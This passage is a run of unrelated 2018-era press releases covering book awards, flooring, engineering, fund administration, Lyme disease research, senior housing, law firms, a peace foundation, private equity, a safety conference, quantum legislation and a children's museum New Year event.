ability. It is at times funny, painfully accurate and full of solid rock truth. Any reader of any age, gender, or circumstance in life will find this a deeply satisfying book to read. Jeffrey Keen, President and CEO of American Book Fest, sponsor of this years contest, says of the awards, now in their sixteenth year, The 2018 results represent a phenomenal mix of books from a wide array of publishers throughout the United States. Our success begins with the enthusiastic participation of authors and publishers and continues with our distinguished panel of industry judges who bring to the table their extensive editorial, PR, marketing, and design expertise. For information about Lee Kessler visit http://www.WhiteKingRising.com. Her novels are available in print on Amazon and Kindle eBooks. About Lee Kessler: Lee Kessler is an author, television actress, screenwriter, playwright and stage director. Her career in Hollywood and New York spans forty years, and includes dozens of guest starring roles in episodic TV, mini-series and movies-of-the-week. Since the publication of her cross-genre novels, Lee has made numerous radio and TV appearances. She is sought after as an engaging speaker and an insightful articulate author for public events, book signings, and private readings in New York, Los Angeles, Chicago, and cities across America. Additionally, Lee is a successful entrepreneur, a pioneer in E-commerce and owns an international Internet business. She currently resides in Los Angeles. Visit http://www.WhiteKingRising.com. Visit her blog Incoming Tomatoes http://www.LeeKessler.net. Join her on Facebook at http://www.Facebook.com/LeeKesslerStoryteller American Book Fest (http://www.americanbookfest.com/) is an online publication providing coverage for books from mainstream and independent publishers to the world online community. ### Hydro Fix is not only dimensionally stable, but its lightweight with a strong click, so this revolutionary product combines the best characteristic of SPC with the best features of WPC. Lico US announced today it is looking for distributor partners for its Hydro Fix RCB, the companys flagship flooring line. Such a partnership would offer distributors with exclusive territory the perfect opportunity to be leaders in a new market category: American-made, high-quality, rigid-core flooring. Hydro Fix is not only dimensionally stable, but its lightweight with a strong click, so this revolutionary product combines the best characteristic of SPC with the best features of WPC, says Rob Rebman, Lico US president. Its available in a variety of colors to match home decor trends, so that distributors can easily meet the demands of their markets with a variety of colors and styles. Hydro Fix features a Uniclic joint system for easy installation. It can be installed as a floating floor or with glue, including over existing floors and tile. Superior product layer integration prevents any cupping or delamination. It also includes best-in-industry sound properties, with integrated underlayment. Lico US is a newly-formed C-Corporation between LI & CO (Switzerland) and ACP (Wisconsin). LI & CO is a privately held company with over 20 years of high-quality, innovative flooring manufacturing experience. The Swiss company currently manufactures 13 flooring lines in Mustair, Switzerland. ACP, LLC is a privately held, 25-year-old manufacturing, marketing and distribution company. ACPs history includes manufacturing and distributing decor offerings including backsplash, ceiling and wall products for residential and commercial customers. Lico U.S. will invest $10 million to manufacture flooring at its Neenah, Wis., headquarters, a 200,000-sq.-ft. manufacturing and distribution facility that will include PVC flooring extrusion and milling lines. Beginning in fall 2019, Lico U.S. will begin manufacturing Hydro Fix Flooring. Lico U.S. will also provide sales and service in North America for Licos many other flooring technologies and brands manufactured at Licos main production facility in Mustair, Switzerland. More information about Lico Swiss-quality floors, including where to buy, technical specifications, installation guides and FAQs, can be found at http://www.lico-us.com. Lico flooring products are a product of Lico US. Company contact information: Jennifer Parmley, Lico US/ACP 2341 Industrial Drive, Neenah, WI 54956. 800-434-3750. http://www.acpideas.com McNeil Engineering, a Sandy, Utah-based engineering firm, wants to thank the community for another great year of projects large and small, in both the private and public spheres. This year will mark 35 years that the McNeil team has been working on civil and structural engineering projects, landscape architecture, construction administration, and much more in communities throughout the intermountain west. Most recently, the McNeil Engineering team has had a hand in shaping the Wasatch Front community as a major partner in the ongoing Salt Lake Airport redesign and improvements, the redesign of the Cottonwood Mall site, through consulting and upgrade work made to local historic landmarks, in site development for urban housing and transportation, and on the planned Food Alley project in South Salt Lake City. Additionally, the engineering team at McNeil has been available for projects throughout the western United states, as well as internationally. The team is available to help with public projects for municipalities, historic preservation, private projects, and consulting. Information about the McNeil team, services available, and more can be found on the company website at http://mcneilengineering.com. Please don't hesitate to visit the McNeil Engineering website for a full portfolio of work. Matt Roblez is available to talk about this and other engineering topics and services. Please email Roblez at matt(at)mcneileng.com for more information. About McNeil Engineering For 35 years, McNeil Engineering has provided comprehensive design services including civil engineering, structural engineering, land surveying, high-definition scanning (HDS), landscape architecture and consulting services to the private and public sectors. The company is committed to delivering timely, responsive and economical design solutions to each and every one of their clients. For McNeil Engineering, project deadlines are an absolute, not a goal. For more information visit https://mcneilengineering.com/contact/mcneil-engineering/ Dairy farmer turned bush poet reflects on remarkable journey "IT was my passion and I never wanted to be the age I am now and wonder 'what if?'," says Bob Magor. Technology and innovation have always been driving principles of NAV, and generating clean energy demonstrates our commitment to a culture of sustainability and builds on our work in reducing our carbon footprint as an organization, said Nav Gupta, Founder and CEO of NAV. NAV Fund Administration Group (NAV), a leading independent global fund administrator, announced its commitment to renewable energy through the installation of high-efficiency solar panels to power its offices in Jaipur, India. Technology and innovation have always been driving principles of NAV, and generating clean energy demonstrates our commitment to a culture of sustainability and builds on our work in reducing our carbon footprint as an organization, said Nav Gupta, Founder and CEO of NAV. With an average guaranteed performance rate of 77.9% and estimated power generation of 375,000 kwh/year, these revolutionary panels will significantly reduce NAVs dependency on non-renewable energy sources. In line with this most recent initiative, NAV has made significant investments in other state-of-the-art environmental technology as part of its long-standing commitment to sustainability. In recent years, systems to cut down on paper waste, reduce electricity usage, and conserve water have been established at NAVs Jaipur offices to considerable access. About NAV Fund Administration Group NAV Fund Administration Group (NAV) is a fund administrator with over 27 years of experience in providing a comprehensive fund service offering including, accounting, reporting, investor servicing, and middle and back-office support to the hedge fund industry. NAV is ranked among the top 10 fund administrators in the world by number of funds. With assets under administration of US$68 billion, NAV employs over 500 people that serve a global client base of over 900 clients. NAV is differentiated in the industry by its independence, proprietary technology and client retention. https://www.navconsulting.net/ Alex Hudson Alexs spirit lives on through this Foundation and our partnership with GLA Alex Hudson was 22 years old when she died in March of this year, due to a complication related to Lyme disease called Mast Cell Activation Syndrome. To help advance research into the disorder, Global Lyme Alliance (GLA) announced today that it has partnered with the Alex Hudson Lyme Foundation (AHLF), a Fresno, California nonprofit founded by her mother, Jody Hudson. Global Lyme Alliance is proud to promote greater awareness of this poorly understood immunological condition that can have such heart-breaking consequences, said Scott Santarella, CEO of GLA. Our first joint initiative is the development of a comprehensive database of information on Mast Cell Activation Syndrome (MCAS) patients. Mast cells are part of the bodys immune system and are found in nearly every tissue in the body. They are an initial line of defense against invading pathogens, such as Lyme disease bacteria, and have the ability to trigger the release of infection fighting inflammatory compounds. However sometimes mast cells go awry and too many are triggered at once. Thats when they can lead to serious, chronic complications. In Alexs case, MCAS caused her to have an allergic reaction to virtually anything she ate or drank. Alexs spirit lives on through this Foundation and our partnership with GLA, says her mother, Jody, Operations Director at Catholic Charities Diocese of Fresno. "She fought Lyme disease and MCAS with such determination and strength, Jody said, and she wanted to raise awareness to help educate others battling tick-borne diseases. Once an all-star athlete, who in the first grade became known as the silver bullet for her track speed, Alex began to experience pain in her ankles and shin when she was 10. Alex underwent a series of doctors visits and procedures, but doctors in California could not determine what was wrong. As the years passed and she experienced increasingly debilitating chronic pain, the caring, sensitive teen whose favorite activity was delivering dinners to Fresnos homelessput her plans to attend UCLA on hold. Alex became her own advocate. Feeling frustrated that no one could determine what was wrong with her, she researched various medical conditions and diseases on her own. In 2017 she thought shed found the answer. She and Jody travelled to Los Angeles where a doctor diagnosed the 21-year old with Lyme disease and four tick-borne co-infections. Then, this year, Alexs immune system became overwhelmed and she developed MCAS, a direct result of her initial tick-borne infections. Once diagnosed with Lyme and MCAS, Alex and Jody began a nationwide search to find proper treatment. There were many hospital trips and emergency procedures. They managed to contact Dr. Lawrence Afrin, an Armonk, New York MCAS specialist, who consulted with them on a regular basis. However, with MCAS, almost anything Alex ate or drank, including water, triggered an allergic reaction. Her body was on fire, said Jody. She couldnt eat without immediately having migraines, joint problems, throat closures. By the time she died, Alex had dropped from 120 to 59 pounds and she was bedridden. I move on, I move forward because of my daughter. She knew that so many people were in need of guidance. We need to start gathering information, Jody added, so we know what to do and what treatments are available when someone is suffering. Through this work, Alexs death will have a greater impact than the snippet of time she spent on earth. GLA in partnership with AHLF will jointly fund research and work with Dr. Afrin to design, implement and structure the MCAS Database Initiative. Both organizations will share oversight and management responsibilities of this initiative. ABOUT GLOBAL LYME ALLIANCE Global Lyme Alliance (GLA) is the leading 501(c)(3) dedicated to conquering Lyme and other tick-borne diseases through research, education and awareness. GLA has gained national prominence for funding the most urgent and promising research in the field while expanding education and awareness programs for the general public and physicians. To learn more, go to GLA.org. ABOUT THE ALEX HUDSON LYME FOUNDATION Passionate about advocating for the Lyme community, the Alex Hudson Lyme Foundation is a 501(c)(3) dedicated to spreading awareness and educating others about Lyme disease and MCAS. For more information, go to https://alexhudsonlymefoundation.org The Wesley Communities - Columbus, Ohio Receiving this award for the second year in row shows how dedicated Wesley Ridges staff is to increasing quality of care. A deficiency free survey would not be possible without the care and dedication that every one of our employees provides day in and day out. We thank them for all of their dedic As a Life Plan Community, Wesley Ridge Retirement Community is proud to provide a high level of care and service. For the third year in a row, Wesley Ridges Assisted Living and Memory Care was rated deficiency-free by an inspection administered by the Ohio Department of Health. This accomplishment means that all services provided at the location meet or exceed the state and federal health standards. Wesley Ridge is inspected annually to evaluate the services offered and renew our state licensure. The state surveyors enter unannounced to interview residents and staff, inspect the community, and analyze records over a period of several days. Surveyors determine if the community complies with regulations in areas such as quality of service and care, rights administered to residents, and confidentiality of patient information. In order to be granted the deficiency free survey results, each of the regulations must be met in full. Receiving this award for the second year in row shows how dedicated Wesley Ridges staff is to increasing quality of care. A deficiency free survey would not be possible without the care and dedication that every one of our employees provides day in and day out. We thank them for all of their dedication, stated Wesley Ridge Executive Director, Kathy Miller. When community members are looking for a Life Plan Community for a friend, family member or themselves, taking these survey results into consideration is key. If you or your loved one is in need of care please call Wesley Ridge at (614) 759-0023 for more information. About The Wesley Communities The Wesley Communities is an affiliate of the West Ohio Conference of The United Methodist Church that provides quality housing, health care and services for seniors in Central Ohio. Incorporated in 1967, The Wesley Communities is a not-for-profit Ohio corporation that knows it business and cares about its residents. The Wesley Communities operates Wesley Glen Retirement Community, Wesley Ridge Retirement Community, Wesley Woods at New Albany, and Wesley Hospice in Columbus, Ohio. Inspirit Residences We are excited to have formed Oxford Living which enables Oxford to make strategic senior housing acquisitions in select highly attractive markets. We plan further portfolio acquisitions throughout the United States and Canada, says John W. Rutledge, Founder, President & CEO of Oxford Capital Grou Oxford Capital Group, LLC today, through its recently formed affiliate, Oxford Living, LLC, announced its acquisition in partnership with Starr Insurance Companies, of nine 100% private pay independent supportive living properties throughout Ontario, Canada in an approximately CAD $100 million transaction. Oxford Living acquires, manages and develops seniors housing properties throughout North America. We are excited to have formed Oxford Living which enables Oxford to make strategic senior housing acquisitions in select highly attractive markets. We plan further portfolio acquisitions throughout the United States and Canada, says John W. Rutledge, Founder, President & CEO of Oxford Capital Group, LLC, the Chicago based investor-developer. Oxford Living focuses on 100% private pay senior housing properties with significant value add potential in primary and important secondary markets throughout the United States and Canada. Acquisitions focus on markets with compelling demographics and properties with significant value add potential. The nine property acquisition totals 648 units located in Windsor, London, Sudbury and other Ontario markets. Oxford will invest over CAD $3.4 million to enhance the properties and plans additional significant expansions of several of the properties. This acquisition adds to current senior housing investments by Oxford and/or its principals in Florida, Georgia and Tennessee. Mr. Rutledge serves as CEO of Oxford Living with Lawrence Cummings, Senior Managing Director and Principal of Oxford Capital Group, LLC, as President, and Richard Noonan as Chief Operating Officer. Mr. Cummings and Mr. Noonan each have over twenty-five years of experience in seniors housing management, operations and development. Mr Cummings has successfully sponsored value add senior housing investments throughout his career, serving as CEO of both publicly traded and privately held senior housing companies. Mr. Noonan served as co-founder and Chief Operating Officer of Chartwell Retirement Residences, Canadas largest owner/operator of seniors housing. While at Chartwell Mr. Noonan had direct operational responsibility for over 300 seniors housing properties in the United States and Canada. Consolidating mid-market retirement communities in secondary Ontario markets is an ideal strategy for Oxford Living, said Mr Noonan. Demand outpaces supply growth, but while some US markets are overbuilt, there is an urgent need for senior housing product in Canada, he added. While most institutional investors and developers in the senior housing space focus on high-end development in urban centers, our strategy is to buy overlooked mid-market properties which are dependable, comfortable and affordable, Mr. Cummings commented. Oxford is a Chicago-based real estate private equity investment, development and management firm with a strong focus on operationally intensive forms of real estate, including a particular emphasis on the senior housing and hospitality sectors. Oxford has sponsored, co-sponsored and/or invested in over $3.0 billion in senior housing and hospitality assets. We have been warmly received by the resident community in the properties we are acquiring, as well as by the civic leadership of the municipalities in which they are located. We look forward to continuing to fulfill the properties mission to serve their residents and surrounding communities, added Mr. Noonan. About Oxford Capital Group, LLC Oxford Capital Group, LLC is a national real estate investment, development and management firm. Oxford Living, LLC is its seniors housing management affiliate. Oxford Hotels and Resorts, LLC is its hotel management affiliate. Oxford, its affiliates and principals have been involved in over 3,000 senior housing units and approximately $3 billion of real estate and private equity investments, including approximately 13,000 hotel rooms. The firm's areas of experience include hospitality, mixed-use, senior housing, multifamily, student housing, urban retail, parking, and other operationally intensive forms of real estate. For information, visit http://www.oxford-capital.com. About Oxford Living, LLC Oxford Living, LLC is an affiliate of Oxford Capital Group, LLC. Oxford Living acquires, manages and develops 100% private pay seniors housing assets throughout the United States and Canada. Oxford and/or its principals senior housing investments are or have been located throughout Ontario Canada, as well as Miami and other markets in Florida, Ohio markets, including Cleveland, Columbus, and Youngstown; various markets in Virginia, Georgia, Vermont and Tennessee, as well as several markets in Oregon, including Bend and Eugene. These transactions include investing in and developing/redeveloping and managing skilled nursing, assisted living, independent living and memory care facilities. Target properties are characterized by significant value add potential and are located in both primary and important secondary markets which enjoy highly favorable economic and demographic fundamentals. Oxford Livings primary operational headquarters is in Toronto, ON with regional offices to directly support local operations. The companys particular focus is on assisted living and independent living assets. Oxford Living targets assets with significant value add potential which can be realized through expansion, capital improvements and superior management. About Starr Companies Starr Insurance Companies (or Starr) is the marketing name for the operating insurance and travel assistance companies and subsidiaries of Starr International Company, Inc. and for the investment business of C. V. Starr & Co., Inc. and its subsidiaries. Starr is a leading insurance and investment organization with a presence on five continents; through its operating insurance companies, Starr provides property, casualty, and accident and health insurance products as well as a range of specialty coverages including aviation, marine, energy and excess casualty insurance. Starrs insurance company subsidiaries domiciled in the U.S., Bermuda, China, Hong Kong, Singapore and U.K. each have an A.M. Best rating of A (Excellent). Starrs Lloyds syndicate has a Standard & Poors rating of A+ (Strong). The legal team at Burnham Law Group, LLC and The Lawyers of Distinction is pleased to announce that PHILIP S. BURNHAM, II, ESQUIRE of Marlton, New Jersey, has been certified as a member. The Lawyers of Distinction is recognized as the fastest growing community of distinguished lawyers in the United States. Lawyers of Distinction shall not offer membership to more than 10% of attorneys in any given state. Members are accepted based upon objective evaluation of an attorneys qualifications, license, reputation, experience, and disciplinary history. Please see http://www.lawyersofdistinction.com for further details concerning membership qualification. Mr. Burnham founded the firm in 1994. He focuses primarily on family and divorce law, and employment law, preparing and trying numerous cases in federal and state courts in both civil and criminal cases. He also has extensive experience successfully handling all types of personal injury claims. He has always been dedicated to providing personal service to each of his clients and mining the unique merits of every case. In additional to being honored by Lawyers of Distinction, Mr. Burnham had been twice-honored by the National Association of Distinguished Counsel, and other noteworthy honors, including being recognized numerous times as an Awesome Family Attorney by South Jersey Magazine; being chosen as one of the Top 100 Family Lawyers in the State of New Jersey by the American Society of Legal Advocates; and more. In addition to running a successful law firm, Mr. Burnham also currently serves as an MESP panelist in Burlington, Camden, and Gloucester Counties and is a member of District III-B Ethics Committee. He is admitted to practice in New Jersey and Pennsylvania state and federal courts. To learn more about the Burnham Law Group, LLC or to schedule a free consultation, call 856-751-5505 or visit the firms website at https://www.burnhamlawgroup.com. Philip Burnham and his team serve clients in Burlington County, Camden County, Atlantic County, and throughout South Jersey. Lawyers of Distinction uses it own independent criteria, including both objective and subjective factors in determining if an attorney can be recognized as a Lawyer of Distinction in the United States in their respective field. This designation is based upon the proprietary analysis of the Lawyers of Distinction organization alone, and is not intended to be endorsed by any of the 50 United States Bar Associations or The District of Columbia Bar Association. In 2018 The Prem Rawat Foundations signature Peace Education Program was embraced by individuals as well as large institutions, fueling a growth of nearly 50 percent. Peace doesn't have to be created. Peace doesn't have to be brought from Mars. It has to be discovered. We have discovered how to make wars; now it is time to discover how to make peace. Powered by supporters and volunteers in 84 countries, The Prem Rawat Foundation (TPRF) is dedicated to helping people around the globe live with dignity, peace and prosperity. Throughout 2018, TPRF took innovative initiatives that empowered people to overcome their most intense challenges, from hunger and poverty to gang violence, drug addiction and more. The Foundations signature Peace Education Program (PEP) was embraced by individuals as well as large institutions, fueling a growth of nearly 50 percent. The whole premise of the Peace Education Program is to shed light on the fact that you are alive, says TPRF Founder Prem Rawat. Every day that you are alive is full of the most incredible hope that there is. PEP is empowering diverse groups of people to discover their inner strengths and choose better paths in life, including the formerly violent group of Bloods in Ibarra, Ecuador. The workshops inspired the youth to relinquish their weapons, and now they are spending their energy on community improvement projects. I think that if we hadn't heard Prem Rawats message, the worst wouldve happened. We wouldve continued killing each other, stealing, says Jefferson, one of the groups leaders. In September, the Bloods of Ibarra released a music video on the UN International Day of Peace that celebrates how peace education inspired them to transform into a force for good in their community, which was shared on social media around the world, reaching more than 5.5 million viewers. Youth violence and other crime is often rooted in drug abuse, with opioids emerging as the biggest threat. Peace education is becoming part of the solution, as rehabilitation providers discover that it helps addicts develop the inner strength they need to stay sober. I always thought before I listened to Prem Rawat that peace was something that we had to find outside. Now I realize that peace is from within the heart. It has changed my view on life, says Eric Willing, a client at the James Casey House, a halfway house in Wilkes-Barre, PA. The miracle is me. The miracle is us. If I can live that, I can certainly live without substance abuse. Peace Education also continues to play a crucial healing role in countries that are recovering from wars, giving victims and veterans a newfound sense of hope. The governments of Sri Lanka and Colombia have integrated the program into reconciliation efforts to help build lasting cultures of peace. Most of my life I have been involved in battle. PEP has brought peace of mind. Now I dont want war, says an ex-combatant in Sri Lanka who completed the program this year. Dr. Nestor David Restrepo Bonnett, Secretary of Education Department of Antioquia, Colombia adds, Bringing the Peace Education Program to five hundred schools in Antioquia is sending a message: there is a new possibility. Those children that stopped dreaming about the future are now building the future. The Foundations other signature program, Food for People (FFP), is changing destinies by serving hundreds of thousands of nutritious meals to malnourished children and ailing adults in India, Nepal and Ghana. One of those destinies is that of Kenneth Odjamgba, who credits the model program with empowering him to be the first student from the town of Otinibi to ever receive a university education. Without the support of FFP, I would have dropped out of school some time ago, he says. TPRF also provided other humanitarian relief in 2018 to respond to critical needs. The Foundation sponsored free clinics throughout India to bring modern eye care to nearly 6,000 impoverished people from 69 rural villages. Donors responded generously to the victims of devastating earthquakes and a tsunami in Indonesia, giving a grant of $40,000 to help them with essential medical care. TPRF sponsored live forums with Prem Rawat to ensure that diverse audiences have access to his unique message of peace, as well as the opportunity to follow up on the themes covered in the PEP workshops. Rawat spoke to inmates at several prisons, including Metro-West Detention Center in Miami and Twin Towers Correctional Facility in Los Angeles, the largest jail and mental health facility in the world. In response to a violent crime epidemic in London, Rawat joined leaders and activists at Lambeth Community College, providing a hopeful message that peace is possible. Yes, we are warmongers, but by the same token, we carry within us an ocean of peace, he said. Peace doesn't have to be created. Peace doesn't have to be brought from Mars. It has to be discovered. We have discovered how to make wars; now it is time to discover how to make peace. S.i. Systems and Quad-C align tightly on our core values. After a very thorough and lengthy process, we selected Quad-C as our partner of choice to implement the new strategic plan to become the leading professional staffing firm in Canada. Derek Bullen, CEO, S.i. Systems Quad-C Management, Inc. (Quad-C), a leading middle market private equity firm, announced today it has closed an investment in S.i. Systems, a leading IT staffing company in Canada. Founded in 1994, S.i. Systems is the largest IT staffing company headquartered in Canada. The companys founder and CEO, Derek Bullen, maintains a significant ownership position and continues to lead S.i. Systems as CEO following the Quad-C investment. This is a tremendous opportunity to grow personally and professionally as we continue the buildout of S.i. Systems. Quad-C has proven expertise in professional staffing and brings a new level of strategic and operational insight to the company, said S.i. Systems CEO Derek Bullen. We both love the industry and believe we can provide even more value to our clients and consultants. This accelerates our ability to grow organically and via quality acquisitions. Over the past 25 years, S.i. Systems created a premier brand in Canadian IT staffing, and the companys ability to make the match is exceptional, said Tim Billings, Partner, Quad-C. We are excited to partner with the management team of S.i. Systems in its next stage of expansion. S.i. Systems and Quad-C align tightly on our core values, Bullen added. After a very thorough and lengthy process, we selected Quad-C as our partner of choice to implement the new strategic plan to become the leading professional staffing firm in Canada. We look forward to working closely with Derek and his management team to achieve new growth objectives and create long term value for clients and contractors, said Jack Walker, Principal, Quad-C. Terms of the investment were not disclosed. ABOUT S.i. SYSTEMS Founded in 1994, S.i. Systems (S.i. Systems or the Company) is the largest IT staffing Company headquartered in Canada with fourteen offices throughout the country. S.i. Systems created MatchGuide, a proprietary web-based match-making solution to provide precision contract, and permanent placements for IT professionals across Canada. There are now more than 228,000 qualified IT professionals registered in MatchGuide and the system has a 99.45% success rate in matching candidates, allowing S.i. Systems the unique advantage of providing a 30 day no questions money back guarantee on all new placements. http://www.sisystems.com ABOUT QUAD-C Founded in 1989 and headquartered in Charlottesville, Virginia, Quad-C is a middle market private equity firm focused on investing in well-established business services, consumer, general industrial, healthcare, specialty distribution and transportation / logistics companies. In its nearly three-decade history, Quad-C has invested over $3 billion of capital in over 65 companies. The Quad-C team is committed to partnering with entrepreneurs and management teams to accelerate growth and create long-term value. http://www.quadcmanagement.com Its our fourth year doing this conference, and each year Im astounded by the level of engagement and excitement from our attendees and speakers. Safety Culture, a three-day event, taking place September 18-20 in Denver, is currently seeking presenters whose expertise aligns with the all-new 2019 conference program agenda. Safety Culture, an EHS Daily Advisor event, will empower employers to create an engaging and effective safety culture in the workplace that will strengthen safety compliance and engagement, reduce risk for accidents and injury, and avoid costly OSHA fines and litigation. For 2019, weve developed a robust agenda that focuses on the biggest issues our subscribers face with respect to building a sustainable safety culture of excellence, says Amanda Czepiel, Senior Managing Editor of BLRs EHS offerings. The challenges safety leaders are facing really vary when it comes to creating a strong safety culture, including contractor and temporary worker safety; fatigue, stress and mental health issues among employees; engaging employees in safety programs; and how to measure the effectiveness of safety culture efforts. We are covering it all in our pre-conferences workshops and main conference. Its our fourth year doing this conference, and each year Im astounded by the level of engagement and excitement from our attendees and speakers, she added. Given the popularity and success of Safety Culture, now in its fourth year, this conference promises to be one of the premier networking and educational experiences of 2019 and will provide a backdrop for announcing the EHS Daily Advisors 2019 Safety Standout Award winners. Safety and HR-management consultants with specific expertise in one or more of the topic areas outlined in the call-for-speakers survey are strongly encouraged to apply. We also encourage safety and facilities directors, HR generalists, EHS managers, and other OSHA and HR professionals whose organizations have been recognized for their continued commitment to building a sustainable safety culture apply as well. Have any of your efforts resulted in a reduction of workplace accidents and injuries, an increase in safety compliance and employee engagement, and/or a reduction in OSHA fines and litigation? Then please fill out our survey and tell us about it. The survey, which closes on January 4, can be completed here: https://www.surveymonkey.com/r/YBH3YZ5 About BLR BLR (Business & Legal Resources) helps U.S. businesses simplify compliance with state and federal legal requirements. In-house experts and an exclusive attorney network provide comprehensive, reliable, state-specific information for businesses in all 50 states. Award-winning products and solutionsincluding training programs, events, online solution suites, reports, and subscription servicesgive businesses of all sizes and industries the best tools available at affordable prices. For more information on its offerings, visit https://www.BLR.com. About Simplify Compliance Simplify Compliance helps its customers learn, comply, and succeed by providing mission-critical regulatory and business information, analysis, and tools. Formed by Leeds Equity Partners in 2016, Simplify Compliance serves a range of industries, including financial services, healthcare, human capital management, and telecommunications. Simplify Compliance provides time-saving products and solutions that help U.S.-based businesses and their employees monitor compliance, optimize financial performance, and create and implement best practices. For more information on its offerings, visit http://www.SimplifyCompliance.com. Contact Kimberly St. Lawrence Marketing Director | Events BLRBusiness & Legal Resources 35 Village Road Middleton, MA 01949 860-510-0100, Ext. 3874 kstlawrence@blr.com http://www.BLR.com Schwartz Injury Law - Joliet Office Location The Joliet office provides a more convenient meeting location for personal injury clients living in Will County and compliments the firms offices in Orland Park and Glen Ellyn. Schwartz Injury Law, a division of Kralovec, Jambois & Schwartz, is excited to announce it has opened a new office in Joliet, located on the 7th floor of 58 N. Chicago St. The building is off Route 30 and three blocks west of Joliet Route 66 Stadium. The Joliet office provides a more convenient meeting location for personal injury clients living in Will County and compliments the firms offices in Orland Park and Glen Ellyn. Clients can schedule appointments at the Joliet office by calling 815-723-7300. Schwartz Injury Law founder Allen N. Schwartz began practicing law in 1984 and became an owner of Kralovec, Jambois & Schwartz in 1990. Since then, he has developed a reputation as a successful personal injury attorney who obtains favorable settlements and verdicts for his clients. Schwartz works with a team of accomplished associates, including attorneys Michael S. Shinsky, Amanda L. Brasfield, Craig P. Mannarino, Jeffrey C. Schwartz, and Paul D. Richter. These attorneys, along with the rest of the team at Schwartz Injury Law, have skillfully obtained a large number of verdicts and settlements for clients in excess of one million dollars. A few examples include: $10.9 million for the wrongful death of an Illinois State Trooper killed in a trucking accident; $9 million for a worker injured in an industrial accident; $5.1 million for a woman who suffered catastrophic injuries in a car accident; $3.2 million for a woman whose injuries were the result of a missed diagnosis; and $2 million for the injured victim of a semi-truck accident. About Schwartz Injury Law: Schwartz Injury Law, a division of Kralovec, Jambois & Schwartz, proudly serves injured victims and their families throughout the Chicago area. With office locations in Chicago, Orland Park, Glen Ellyn, Joliet, and Rockford, the firm is dedicated to helping clients obtain full compensation in cases involving car, truck, and motorcycle accidents, medical malpractice, birth injuries, nursing home negligence, elder abuse, and worksite injuries. Schedule a free consultation at the Orland Park Office by calling 708-226-9000, at the Joliet Office by calling 815-723-7300, or by filling out our online contact form. The bipartisan legislation, H.R. 6227, creates a comprehensive national policy to encourage quantum research and technology, and helps establish a workforce capable of creating practical applications SPIE welcomes the passage of The National Quantum Initiative (NQI) Act, H.R. 6227, a bipartisan bill which provides for a coordinated Federal program to accelerate quantum research and development for the economic and national security of the United States. It includes a provision to promote access to existing quantum computing and communication systems for users, an addition called for by the National Photonics Initiative, a partnership which has been working on this legislation since 2017, and of which SPIE is a founding member. The legislation establishes the National Quantum Initiative Program to speed quantum research and development over the next ten years; creates interagency coordination by authorizing a National Quantum Coordination Office and an interagency Subcommittee on Quantum Information Science at the White House Office of Science and Technology Policy; provides substantial, five-year funding authorization for collaborative centers of quantum research, bringing together university and industry partners at the National Science Foundation and Department of Energy; and increases funding authorization, also over five years, for National Institute for Standards and Technology quantum research and activities including the Quantum Economic Development Consortium. The passage of this landmark bill delivers the exciting promise of a future-focused, technology-smart world, said SPIE CEO Kent Rochford. Its very welcome news, not just for the organizations involved in the National Photonics Initiative, but for the next generation of researchers, scientists, and consumers. As quantum technologies shift from the research stage to development and engineering, they are creating entirely new industries and opportunities for innovation. The bill establishes the collaborative framework that is needed to produce research breakthroughs that will ultimately lead to fully enabled quantum applications. The multi-year authorized funding provided in the bill makes clear the commitment the United States has to being a leader quantum information science and technology. SPIE stands ready to assist with implementation at the agencies involved, and to work with appropriators to fully fund this initiative. SPIE will host the Quantum Economic Development Consortium (QED-C) for a panel discussion on the photonic technologies that will enable the emerging quantum industry and how companies can support and participate in the National Quantum Initiative on 6 February at Photonics West 2019 in San Francisco. About SPIE SPIE is the international society for optics and photonics, an educational not-for-profit organization founded in 1955 to advance light-based science, engineering, and technology. The Society serves 257,000 constituents from 173 countries, offering conferences and their published proceedings, continuing education, books, journals, and the SPIE Digital Library. In 2018, SPIE provided more than $4 million in community support including scholarships and awards, outreach and advocacy programs, travel grants, public policy, and educational resources. http://www.spie.org. ________________________________________ Contact: Daneet Steffens Public Relations Manager daneets@spie.org +1 360 685 5478 @SPIEtweets Countdown to the New Year Join the music, confetti and fun as families celebrate the New Year together at a family-friendly hour! Drop by drop, closely watch North Americas largest Water Clock! The neon green and bright blue clock stands 26.5 feet tall at The Childrens Museum of Indianapolis . It will help bring in 2019 early for all to enjoy at the family-friendly hours of 12 p.m. and 1 p.m. Learn how the clock operates below. Countdown to Noon is an annual event at the worlds largest childrens museum as the family party anticipates and celebrates New Years Eve without making the little ones stay up past their bed times. Join in the music, confetti, and fun on Dec. 31, 2018, for countdowns to the New Year at noon and again at 1 p.m. There will be free Happy New Year visors while supplies last. Also, enjoy one of the last few days of the museums traditional Jolly Days Winter Wonderland exhibit. The activities for this years Countdown to Noon include: New Years Around the World - Send New Years greetings to friends all over the world by learning pronunciations of foreign languages and matching each greeting to its corresponding country. Family Paper Time-Capsule - Recount your favorite memories of 2018 by creating a time capsule. Snap a photo next to our Happy New Year banner to add as a finishing touch to your 2018 capsule! Performances by Zak Morgan - Enjoy music by Grammy-nominated Zak Morgan, and join him in counting down at noon and 1p.m. Jolly Days: Winter Wonderland will be open Nov. 23, 2018 Jan. 6, 2019. Families can visit Santa through Dec. 24, and while in the exhibit, participate in pretend fishing, ice-skating and holiday baking. There will also be a castle to climb and a magical globe that allows visitors to let it snow at the push of a button! The museum offers free admission to good little girls and boys and their families on December 24, 2018. Please note the museum is open from 10 a.m. 2 p.m. on that day. Lastly, there will be plenty of programming happening during this festive time so that families can always experience something new: Earn your elf ears, participate in snowball fights, sing along with The Mistletoes, and talk to animated winter characters! See the programs happening the day of your visit on our online calendar. The water clock helps families learn to tell time in a whole new way. It has a computer panel tied to it where we can change the time, then our staff manually adds or subtracts water on the minutes or hour side using solenoid valves located below the floor. The clock does adjust itself every 30 minutes and 6 hours based on the computer clock, but when its a whole hour changing you have to manually add or subtract water. Just a reminder that The Childrens Museum wants to provide plenty of opportunities for visiting children and families to enjoy the museum during the holidays and winter vacations. Although we are closed most Mondays during the winter, we will be open Monday, December 17, 2018 and Monday, December 24 (museum is open for shortened hours on this free day from 10 a.m. 2 p.m.) and December 31, 2018 from 10 a.m. to 5 p.m. each day. We will be closed on Christmas Day, December 25th. Also, dont forget that earlier this season, kids visiting the museum tested and voted for their favorite 2018 toys. Find the Kid-Tested, Kid-Approved list here, and be sure to visit The Museum Store in person or online to purchase gifts. Countdown to Noon is supported by Indiana Farm Bureau Insurance and Hello Fresh. StackCommerce, the leading native commerce platform for media companies, announced today that it reached a financial milestone of $100 million in total payouts to its creator network comprised of publishers and brands. Founded in 2011, StackCommerce got its start by connecting niche, tech-focused content sites and their readers with highly 